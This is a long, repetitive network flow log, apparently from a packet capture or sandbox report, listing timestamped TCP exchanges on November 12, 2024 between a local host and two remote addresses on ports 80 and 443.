Nov 12, 2024 15:42:12.406653881 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.406671047 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.406682014 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.406691074 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.406693935 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.406706095 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.406711102 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.406750917 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.424418926 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.424480915 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:12.427676916 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:12.427695990 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.427788973 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:12.427804947 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.435575008 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.435628891 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.435744047 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.436644077 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.436691999 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.436698914 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.436732054 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.436737061 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.436743021 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.436769962 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.436789036 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.464432955 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.464443922 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.464452982 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.464493990 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.464517117 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.464548111 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.464586973 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.464596033 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.464606047 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.464631081 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.477983952 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.480273008 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:12.480292082 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.521626949 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.521637917 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.521702051 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.550986052 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.551006079 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.551054001 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.551086903 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.551847935 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.551860094 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.551868916 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.551881075 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.551898003 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.551913977 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.559638977 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.561820030 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:12.561840057 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.571861029 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.573846102 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:12.579554081 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.579566002 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.579622984 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.579627991 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.579633951 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.579668045 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.579685926 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.579744101 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.579787016 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.579827070 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.579837084 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.579847097 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.579869032 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.579891920 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.606770039 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.612834930 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:12.636878967 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.636914015 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.637005091 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.637109041 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.637119055 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.637156010 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.659332991 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.665906906 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.665920019 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.665992022 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.667028904 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.667040110 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.667081118 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.695020914 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.695039034 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.695050001 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.695060968 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.695074081 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.695085049 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.695096970 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.695100069 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.695106030 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.695122957 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.695125103 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.695133924 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.695144892 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.695169926 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.703068018 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.706042051 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:12.706063032 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.743207932 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.745944977 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:12.752130032 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.752159119 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.752171993 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.752197981 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.752213001 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.752219915 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.752253056 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.781452894 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.781462908 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.781548023 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.781558990 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.781618118 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.782542944 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.782562017 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.782594919 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.782604933 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.791333914 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.797229052 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.799504042 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:12.799524069 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.810415983 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.810430050 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.810441017 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.810470104 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.810492039 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.810503960 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.810513020 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.810518980 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.810539961 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.810570002 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.844423056 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.848926067 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:12.848946095 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.867502928 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.867527008 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.867542982 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.867553949 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.867578983 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.867609024 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.867615938 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.867626905 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.867660999 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.872586012 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.874494076 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:12.896778107 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.896787882 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.896828890 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.897816896 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.897826910 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.897835970 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.897845984 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.897861958 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.897874117 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.919328928 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.925426006 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.925468922 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.925482988 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.925499916 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.925519943 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.925569057 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.925578117 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.925582886 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.925601006 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.925607920 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.925611019 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.925641060 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.953218937 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.955205917 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:12.955228090 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.976676941 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.982702017 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.982741117 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.982753038 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.982795954 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.982806921 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.982808113 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.982853889 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.983490944 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:13.011884928 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.011904955 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.011934042 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.011950016 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.012876034 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.012897968 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.012927055 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.012947083 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.020740032 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:13.023202896 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:13.040867090 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.040879011 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.040889978 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.040900946 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.040913105 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.040930986 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.040961981 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.040992975 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.041004896 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.041038036 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.041068077 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.067321062 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:13.087568998 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:13.091233015 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:13.091245890 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:13.098052025 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.098062992 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.098073006 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.098082066 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.098092079 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.098097086 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.098103046 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.098157883 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.124890089 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:13.127053976 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:13.127140999 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.127151012 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.127201080 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.128154039 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.128176928 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.128200054 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.128223896 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.150435925 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:13.154691935 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:13.156122923 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.156145096 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.156157017 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.156166077 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.156178951 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.156177998 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.156189919 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.156200886 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.156238079 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.195331097 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:13.213958979 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.214021921 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.214045048 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.214057922 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.214086056 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.214112997 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.214123011 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.214134932 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.214144945 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.214168072 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.214183092 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.218848944 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:13.222659111 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:13.222678900 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:13.254160881 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:13.300911903 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:13.300920010 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:13.307343960 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:13.308063030 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:13.308079958 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:13.350797892 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:13.358969927 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.358989000 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.359002113 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.359045029 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.359071970 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.359075069 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.359092951 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.359102964 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.359116077 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.359116077 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.359127045 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.359138966 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.359138966 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.359157085 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.359169960 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.359184980 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.359195948 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.359208107 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.359210014 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.359220982 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.359231949 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.359236002 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.359251022 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.359255075 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.359281063 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.359303951 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.359337091 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:13.386692047 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.386703014 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.386748075 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.407329082 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:13.435269117 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:13.438194036 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:13.438215017 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:13.444391012 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.444400072 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.444418907 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.444431067 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.444441080 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.444452047 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.444454908 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.444488049 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.473037004 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.473050117 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.473059893 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.473108053 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.473908901 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.473951101 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.474092960 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.479361057 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:13.483033895 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:13.483053923 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:13.502074957 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.502087116 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.502157927 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.533271074 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:13.538822889 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:13.538846016 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:13.559814930 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.559829950 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.559840918 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.559853077 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.559883118 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.559919119 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.564830065 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:13.570341110 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:13.615330935 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:13.622344971 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:13.626295090 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:13.626315117 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:13.669914961 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:13.674365997 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:13.674386024 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:13.704576015 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.704592943 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.704607964 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.704619884 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.704639912 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.704659939 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.704765081 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.704776049 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.704787016 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.704797983 CET	80	49794	185.215.113.16	192.168.2.4
